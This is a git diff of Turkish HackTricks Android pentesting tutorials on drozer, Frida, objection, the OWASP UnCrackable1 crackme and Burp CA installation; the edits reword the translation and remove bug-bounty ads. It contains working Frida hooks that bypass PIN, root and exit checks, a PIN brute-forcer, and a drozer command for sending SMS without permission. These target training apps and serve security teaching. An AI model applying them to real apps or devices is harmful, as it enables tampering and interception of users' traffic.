@ -167,8 +165,8 @@ app.service.stop Stop Service
|
||||
|
||||
.png>)
|
||||
|
||||
Önce "_msg.what_" içindeki veriyi, ardından "_msg.arg1_" ve "_msg.arg2_" göndereceğinizi unutmayın, **hangi bilginin kullanıldığını** ve nerede olduğunu kod içinde kontrol etmelisiniz.\
|
||||
`--extra` seçeneğini kullanarak "_msg.replyTo_" tarafından yorumlanan bir şey gönderebilirsiniz ve `--bundle-as-obj` kullanarak sağlanan detaylarla bir nesne oluşturursunuz.
|
||||
Öncelikle "_msg.what_" içindeki veriyi, ardından "_msg.arg1_" ve "_msg.arg2_" göndereceğinizi unutmayın, **hangi bilginin kullanıldığını** ve nerede olduğunu kod içinde kontrol etmelisiniz.\
|
||||
`--extra` seçeneğini kullanarak "_msg.replyTo_" tarafından yorumlanan bir şey gönderebilir ve `--bundle-as-obj` kullanarak sağlanan detaylarla bir nesne oluşturabilirsiniz.
|
||||
|
||||
Aşağıdaki örnekte:
|
||||
|
||||
@ -220,7 +218,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
|
||||
```
|
||||
#### Mesaj Gönder
|
||||
|
||||
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe** **rastgele bir SMS** gönderebilirsiniz.
|
||||
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir SMS** herhangi bir premium olmayan hedefe **gönderebilirsiniz**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -233,7 +231,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
|
||||
### Debuggable mı
|
||||
|
||||
Bir üretim APK'sı asla debuggable olmamalıdır.\
|
||||
Bu, çalışan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
|
||||
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
|
||||
|
||||
Bir uygulama debuggable olduğunda, Manifest'te görünecektir:
|
||||
```xml
|
||||
@ -254,10 +252,6 @@ run app.package.debuggable
|
||||
|
||||
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hack'ler tarafından, hack'ler için oluşturulmuş premium bir hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,12 +1,7 @@
|
||||
# Frida Tutorial
|
||||
# Frida Eğitimi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty ipucu**: **kaydolun** **Intigriti** için, **hackler tarafından, hackler için oluşturulmuş premium bir bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Kurulum
|
||||
|
||||
@ -15,12 +10,12 @@
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Android'da indirip kurun** **frida server** ([En son sürümü indirin](https://github.com/frida/frida/releases)).\
|
||||
**Android'a indirip kurun** **frida server** ([En son sürümü indirin](https://github.com/frida/frida/releases)).\
|
||||
Root modunda adb'yi yeniden başlatmak, ona bağlanmak, frida-server'ı yüklemek, yürütme izinleri vermek ve arka planda çalıştırmak için tek satırlık komut:
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
**Çalışıp çalışmadığını kontrol et**:
|
||||
**Çalışıp çalışmadığını** **kontrol et**:
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
@ -33,21 +28,21 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Kaynak Kodu**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**Bunu okumak için [bağlantıyı takip edin](frida-tutorial-1.md).**
|
||||
**Okumak için [bağlantıyı takip edin](frida-tutorial-1.md).**
|
||||
|
||||
### [Eğitim 2](frida-tutorial-2.md)
|
||||
|
||||
**Kaynak**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Bölümler 2, 3 & 4)\
|
||||
**APK'lar ve Kaynak kod**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Bunu okumak için [bağlantıyı takip edin.](frida-tutorial-2.md)**
|
||||
**Okumak için [bağlantıyı takip edin.](frida-tutorial-2.md)**
|
||||
|
||||
### [Eğitim 3](owaspuncrackable-1.md)
|
||||
|
||||
**Kaynak**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
|
||||
|
||||
**Bunu okumak için [bağlantıyı takip edin](owaspuncrackable-1.md).**
|
||||
**Okumak için [bağlantıyı takip edin](owaspuncrackable-1.md).**
|
||||
|
||||
**Daha fazla Harika Frida scriptini burada bulabilirsiniz:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
@ -79,7 +74,7 @@ sys.stdin.read()
|
||||
```
|
||||
### Parametre olmadan fonksiyonları yakalama
|
||||
|
||||
`sg.vantagepoint.a.c` sınıfının `a()` fonksiyonunu yakalayın
|
||||
Sınıf `sg.vantagepoint.a.c`'nin `a()` fonksiyonunu yakalayın
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
@ -110,7 +105,7 @@ send("MainActivity.onCreate() HIT!!!")
|
||||
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
}
|
||||
```
|
||||
Android `.onCreate()`'i Hook'lama
|
||||
Android `.onCreate()`'i Hook'la
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity")
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function (
|
||||
@ -122,7 +117,7 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
```
|
||||
### Parametreli fonksiyonları yakalama ve değeri alma
|
||||
|
||||
Bir şifre çözme fonksiyonunu yakalama. Girişi yazdır, orijinal fonksiyonu çağırarak girişi şifre çöz ve son olarak, düz veriyi yazdır:
|
||||
Bir şifre çözme fonksiyonunu yakalama. Girdiyi yazdır, orijinal fonksiyonu çağırarak girişi şifre çöz ve son olarak, düz veriyi yazdır:
|
||||
```javascript
|
||||
function getString(data) {
|
||||
var ret = ""
|
||||
@ -182,10 +177,5 @@ onComplete: function () {},
|
||||
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
- [Gelişmiş Frida Kullanımı blog serisinin 1. Bölümü: IOS Şifreleme Kütüphaneleri](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hata avı ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata avı platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,11 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty ipucu**: **Intigriti** için **kayıt olun**, **hackler tarafından, hackler için oluşturulmuş premium bir bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**Bu gönderinin özeti**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
@ -14,9 +9,9 @@
|
||||
|
||||
## Python
|
||||
|
||||
Frida, çalışan bir uygulamanın fonksiyonları içine **JavaScript kodu** **eklemenize** olanak tanır. Ancak **python** kullanarak **kancaları** **çağırabilir** ve hatta **kancalarla** **etkileşimde** bulunabilirsiniz.
|
||||
Frida, bir uygulamanın çalışan fonksiyonları içine **JavaScript kodu** **eklemenize** olanak tanır. Ancak **hook'ları çağırmak** ve hatta **hook'larla etkileşimde bulunmak** için **python** kullanabilirsiniz.
|
||||
|
||||
Bu, bu eğitimde önerilen tüm örneklerle kullanabileceğiniz basit bir python betiğidir:
|
||||
Bu, bu öğreticideki tüm önerilen örneklerle kullanabileceğiniz kolay bir python betiğidir:
|
||||
```python
|
||||
#hooking.py
|
||||
import frida, sys
|
||||
@ -39,7 +34,7 @@ frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
|
||||
```
|
||||
## Hook 1 - Boolean Bypass
|
||||
|
||||
Burada **hook** yaparak **boolean** bir metodu (_checkPin_) _infosecadventures.fridademo.utils.PinUtil_ sınıfından nasıl alacağınızı görebilirsiniz.
|
||||
Burada **hook** yaparak bir **boolean** metodunu (_checkPin_) _infosecadventures.fridademo.utils.PinUtil_ sınıfından nasıl alacağınızı görebilirsiniz.
|
||||
```javascript
|
||||
//hook1.js
|
||||
Java.perform(function () {
|
||||
@ -100,7 +95,7 @@ console.log("[ + ] Found correct PIN: " + i)
|
||||
```
|
||||
## Hook 3 - Argümanları ve dönüş değerini alma
|
||||
|
||||
Bir fonksiyonu hook'layabilir ve **geçirilen argümanların** değerini ve **dönüş değerinin** değerini **yazdırmasını** sağlayabilirsiniz:
|
||||
Bir fonksiyonu hook'layabilir ve **geçilen argümanların** değerini ve **dönüş değerinin** değerini **yazdırmasını** sağlayabilirsiniz:
|
||||
```javascript
|
||||
//hook3.js
|
||||
Java.perform(function () {
|
||||
@ -124,10 +119,5 @@ Bu eğitimde, yöntemleri metodun adı ve _.implementation_ kullanarak bağladı
|
||||
|
||||
Bunu [bir sonraki eğitimde](frida-tutorial-2.md) görebilirsiniz.
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hack'ler tarafından, hack'ler için oluşturulmuş premium bir hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,13 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty ipucu**: **Intigriti** için **kayıt olun**, **hackler tarafından, hackler için oluşturulmuş bir premium bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**Bu yazının özeti**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Bölümler 2, 3 & 4)\
|
||||
**Bu yazının özeti**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Bölümler 2, 3 ve 4)\
|
||||
**APKs ve Kaynak kodu**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
Bölüm 1 çok kolay.
|
||||
@ -17,9 +11,9 @@ Bölüm 1 çok kolay.
|
||||
|
||||
## Bölüm 2
|
||||
|
||||
Burada **aynı isimde ama farklı parametrelerle 2 fonksiyonu nasıl hook'layacağınızı** görebilirsiniz.\
|
||||
Burada **aynı isme sahip 2 fonksiyonu** ama farklı parametrelerle nasıl **hook'layacağınızı** görebilirsiniz.\
|
||||
Ayrıca, **kendi parametrelerinizle bir fonksiyonu nasıl çağıracağınızı** öğreneceksiniz.\
|
||||
Ve son olarak, **bir sınıfın örneğini nasıl bulup bir fonksiyonu çağırmasını sağlayacağınız** ile ilgili bir örnek var.
|
||||
Ve son olarak, bir **sınıfın örneğini bulup bir fonksiyonu nasıl çağıracağınıza** dair bir örnek var.
|
||||
```javascript
|
||||
//s2.js
|
||||
console.log("Script loaded successfully ");
|
||||
@ -54,7 +48,7 @@ onComplete: function () { }
|
||||
});
|
||||
});
|
||||
```
|
||||
Bir String oluşturmak için önce _java.lang.String_ sınıfına referans verildiğini ve ardından içeriği bir String olan _$new_ nesnesinin oluşturulduğunu görebilirsiniz. Bu, bir sınıfın yeni bir nesnesini oluşturmanın doğru yoludur. Ancak, bu durumda `this.fun()` fonksiyonuna herhangi bir String geçirebilirsiniz, örneğin: `this.fun("hey there!")`
|
||||
Bir String oluşturmak için önce _java.lang.String_ sınıfına referans verildiğini ve ardından içeriği bir String olan o sınıfın _$new_ nesnesinin oluşturulduğunu görebilirsiniz. Bu, bir sınıfın yeni bir nesnesini oluşturmanın doğru yoludur. Ancak, bu durumda `this.fun()`'a herhangi bir String geçirebilirsiniz, örneğin: `this.fun("hey there!")`
|
||||
|
||||
### Python
|
||||
```python
|
||||
@ -81,7 +75,7 @@ python loader.py
|
||||
|
||||
### Python
|
||||
|
||||
Artık Python aracılığıyla bağlı uygulamaya komut göndermeyi ve fonksiyonu çağırmayı göreceksiniz:
|
||||
Artık Python aracılığıyla işlenmiş uygulamaya komut göndermeyi ve fonksiyonu çağırmayı göreceksiniz:
|
||||
```python
|
||||
//loader.py
|
||||
import time
|
||||
@ -112,9 +106,9 @@ script.exports.callsecretfunction()
|
||||
elif command == "3":
|
||||
script.exports.hooksecretfunction()
|
||||
```
|
||||
Komut "**1**" **çıkış** yapacak, komut "**2**" sınıfın bir **örneğini bulacak ve özel fonksiyonu** _**secret()**_ **çağıracak** ve komut "**3**" **secret()** fonksiyonunu **hook**layacak, böylece **farklı bir dize** **döndürecek**.
|
||||
Komut "**1**" **çıkacaktır**, komut "**2**" sınıfın bir **örneğini bulacak ve özel fonksiyonu** _**secret()**_ **çağıracaktır** ve komut "**3**" **fonksiyonu** _**secret()**_ **hooklayacaktır** böylece **farklı bir dize** **döndürecektir**.
|
||||
|
||||
Yani, eğer "**2**" çağırırsanız **gerçek sırrı** alacaksınız, ama eğer önce "**3**" ve sonra "**2**" çağırırsanız **sahte sırrı** alacaksınız.
|
||||
Yani, eğer "**2**" çağırırsanız **gerçek sırrı** alırsınız, ama eğer "**3**" çağırır ve sonra "**2**" çağırırsanız **sahte sırrı** alırsınız.
|
||||
|
||||
### JS
|
||||
```javascript
|
||||
@ -156,7 +150,7 @@ hooksecretfunction: hookSecret,
|
||||
```
|
||||
## Bölüm 4
|
||||
|
||||
Burada **Python ve JS'nin** JSON nesneleri kullanarak nasıl etkileşimde bulunduğunu göreceksiniz. JS, verileri Python istemcisine göndermek için `send()` fonksiyonunu kullanır ve Python, verileri JS betiğine göndermek için `post()` fonksiyonunu kullanır. **JS, Python'dan bir yanıt alana kadar** yürütmeyi engelleyecektir.
|
||||
Burada **Python ve JS'nin etkileşimde bulunmasını** JSON nesneleri kullanarak nasıl yapacağınızı göreceksiniz. JS, verileri python istemcisine göndermek için `send()` fonksiyonunu kullanır ve Python, verileri JS betiğine göndermek için `post()` fonksiyonunu kullanır. **JS, Python'dan bir yanıt alana kadar** yürütmeyi engelleyecektir.
|
||||
|
||||
### Python
|
||||
```python
|
||||
@ -210,10 +204,5 @@ return this.setText(string_to_recv)
|
||||
```
|
||||
5. bölümde yeni bir şey olmadığı için açıklamayacağım. Ama okumak isterseniz burada: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hack'ler tarafından, hack'ler için oluşturulmuş premium bir hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,23 +2,19 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Bug bounty ipucu**: **Intigriti** için **kayıt olun**, **hackler tarafından, hackler için oluşturulmuş premium bir bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## **Giriş**
|
||||
|
||||
**objection - Runtime Mobile Exploration**
|
||||
**objection - Çalışma Zamanı Mobil Keşif**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection), [Frida](https://www.frida.re) tarafından desteklenen bir runtime mobil keşif aracıdır. Jailbreak yapılmış veya root'lanmış bir mobil cihaza ihtiyaç duymadan mobil uygulamaları ve güvenlik durumlarını değerlendirmeye yardımcı olmak amacıyla oluşturulmuştur.
|
||||
[**Objection**](https://github.com/sensepost/objection), [Frida](https://www.frida.re) tarafından desteklenen bir çalışma zamanı mobil keşif aracıdır. Jailbreak yapılmış veya root'lanmış bir mobil cihaza ihtiyaç duymadan mobil uygulamaları ve güvenlik durumlarını değerlendirmeye yardımcı olmak amacıyla oluşturulmuştur.
|
||||
|
||||
**Not:** Bu, bir tür jailbreak / root bypass değildir. `objection` kullanarak, karşılaştığınız geçerli sandbox tarafından dayatılan tüm kısıtlamalarla sınırlı kalmaya devam edersiniz.
|
||||
**Not:** Bu, bir tür jailbreak / root atlatma değildir. `objection` kullanarak, karşılaştığınız geçerli sandbox tarafından dayatılan tüm kısıtlamalarla sınırlı kalmaya devam edersiniz.
|
||||
|
||||
### Özgeçmiş
|
||||
### Özeti
|
||||
|
||||
**objection**'ın **amacı**, kullanıcının **Frida'nın sunduğu ana eylemleri çağırmasına** izin vermektir. **Aksi takdirde**, kullanıcı test etmek istediği **her uygulama için tek bir script oluşturmak zorunda kalacaktır.**
|
||||
**objection**'ın **amacı**, kullanıcının **Frida'nın sunduğu ana eylemleri** çağırmasına izin vermektir. **Aksi takdirde**, kullanıcı test etmek istediği **her uygulama için tek bir script oluşturmak zorunda kalacaktır.**
|
||||
|
||||
## Eğitim
|
||||
|
||||
@ -26,17 +22,15 @@ Bu eğitim için burada indirebileceğiniz APK'yı kullanacağım:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
|
||||
Veya [orijinal deposundan](https://github.com/asvid/FridaApp) (app-release.apk'yi indirin)
|
||||
|
||||
### Kurulum
|
||||
Ya da [orijinal deposundan](https://github.com/asvid/FridaApp) (app-release.apk'yi indir)
|
||||
```bash
|
||||
pip3 install objection
|
||||
```
|
||||
### Bağlantı
|
||||
|
||||
Bir **normal ADB bağlantısı** kurun ve cihazda **frida** sunucusunu **başlatın** (ve frida'nın hem istemci hem de sunucuda çalıştığını kontrol edin).
|
||||
**Normal bir ADB bağlantısı** kurun ve cihazda **frida** sunucusunu **başlatın** (ve frida'nın hem istemci hem de sunucuda çalıştığını kontrol edin).
|
||||
|
||||
Eğer bir **rootlu cihaz** kullanıyorsanız, test etmek istediğiniz uygulamayı _**--gadget**_ seçeneği içinde seçmeniz gerekmektedir. bu durumda:
|
||||
Eğer **rootlu bir cihaz** kullanıyorsanız, test etmek istediğiniz uygulamayı _**--gadget**_ seçeneği içinde seçmeniz gerekmektedir. bu durumda:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
@ -64,7 +58,7 @@ frida
|
||||
file download <remote path> [<local path>]
|
||||
file upload <local path> [<remote path>]
|
||||
```
|
||||
#### frida script'i içe aktar
|
||||
#### frida script'i içe aktarın
|
||||
```bash
|
||||
import <local path frida-script>
|
||||
```
|
||||
@ -119,7 +113,7 @@ android hooking search classes asvid.github.io.fridaapp
|
||||
|
||||
#### Bir sınıfın Yöntemlerini Ara
|
||||
|
||||
Şimdi _MainActivity:_ sınıfının içindeki yöntemleri çıkaralım:
|
||||
Şimdi _MainActivity:_ sınıfındaki yöntemleri çıkaralım:
|
||||
```bash
|
||||
android hooking search methods asvid.github.io.fridaapp MainActivity
|
||||
```
|
||||
@ -227,12 +221,4 @@ exit
|
||||
|
||||
- Hooking yöntemleri bazen uygulamayı çökertiyor (bu aynı zamanda Frida'dan da kaynaklanıyor).
|
||||
- Sınıfların örneklerini kullanarak örneğin fonksiyonlarını çağırmak mümkün değil. Ve yeni sınıf örnekleri oluşturup bunları fonksiyonları çağırmak için kullanamıyorsunuz.
|
||||
- Uygulama tarafından kullanılan tüm yaygın kripto yöntemlerini hooklamak için (şifrelenmiş metin, düz metin, anahtarlar, IV'ler ve kullanılan algoritmalar görmek için) sslpinnin için olan gibi bir kısayol yok.
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Hata ödülü ipucu**: **hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata ödülü platformu olan** **Intigriti**'ye **kaydolun**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
- Uygulama tarafından kullanılan tüm yaygın kripto yöntemlerini hooklamak için (sslpinnin için olan gibi) şifrelenmiş metin, düz metin, anahtarlar, IV'ler ve kullanılan algoritmaları görmek için bir kısayol yok.
|
||||
|
||||
@ -2,11 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş premium bir bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
---
|
||||
|
||||
@ -17,7 +12,7 @@
|
||||
|
||||
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) temel alınarak
|
||||
|
||||
**\_exit()**\_ fonksiyonunu **hooklayın** ve **şifre çözme fonksiyonu** ile frida konsolunda flag'i yazdıracak şekilde ayarlayın, doğrula butonuna bastığınızda:
|
||||
**\_exit()**_ fonksiyonunu ve **şifre çözme fonksiyonunu** yakalayın, böylece doğrula butonuna bastığınızda frida konsolunda bayrağı yazdırır:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...")
|
||||
@ -120,10 +115,4 @@ return false
|
||||
send("Hooks installed.")
|
||||
})
|
||||
```
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hata ödülü ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,18 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Sanal Makinede
|
||||
|
||||
Öncelikle Burp'tan Der sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ kısmında yapabilirsiniz.
|
||||
Öncelikle Burp'tan Der sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ kısmından yapabilirsiniz.
|
||||
|
||||
.png>)
|
||||
|
||||
**Sertifikayı Der formatında dışa aktarın** ve **Android**'in **anlayabileceği** bir forma **dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneği ile **çalıştırmanız** gerektiğini unutmayın.\
|
||||
Örneğin, şöyle çalıştırabilirsiniz:
|
||||
Örneğin, şu şekilde çalıştırabilirsiniz:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
@ -32,11 +29,11 @@ Bir kez **makine yeniden başlatıldığında** burp sertifikası kullanılmaya
|
||||
|
||||
## Magisc Kullanımı
|
||||
|
||||
Eğer **cihazınızı Magisc ile rootladıysanız** (belki bir emülatör), ve **önceki adımları** Burp sertifikasını yüklemek için **takip edemiyorsanız** çünkü **dosya sistemi salt okunur** ve yazılabilir olarak yeniden bağlayamıyorsanız, başka bir yol vardır.
|
||||
Eğer **cihazınızı Magisc ile rootladıysanız** (belki bir emülatör), ve **önceki adımları** Burp sertifikasını yüklemek için **izleyemiyorsanız** çünkü **dosya sistemi salt okunur** ve yazılabilir olarak yeniden bağlayamıyorsanız, başka bir yol vardır.
|
||||
|
||||
[**bu videoda**](https://www.youtube.com/watch?v=qQicUW0svB8) açıklandığı gibi, şunları yapmalısınız:
|
||||
|
||||
1. **Bir CA sertifikası yükleyin**: Sadece **sürükleyip bırakın** DER Burp sertifikasını **uzantısını** `.crt` olarak değiştirerek mobil cihazda İndirilenler klasörüne kaydedin ve `Bir sertifika yükle` -> `CA sertifikası` kısmına gidin.
|
||||
1. **Bir CA sertifikası yükleyin**: Sadece **sürükleyip bırakın** DER Burp sertifikasını **uzantısını** `.crt` olarak değiştirerek mobil cihazda İndirilenler klasörüne kaydedin ve `Sertifika yükle` -> `CA sertifikası` kısmına gidin.
|
||||
|
||||
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
@ -44,7 +41,7 @@ Eğer **cihazınızı Magisc ile rootladıysanız** (belki bir emülatör), ve *
|
||||
|
||||
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Sistem güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, **sürükleyip bırakın** telefonunuza, telefonunuzdaki **Magics uygulamasına** gidin ve **`Modüller`** bölümüne geçin, **`Depolamadan yükle`** seçeneğine tıklayın, `.zip` modülünü seçin ve yüklendikten sonra **yeniden başlatın**:
|
||||
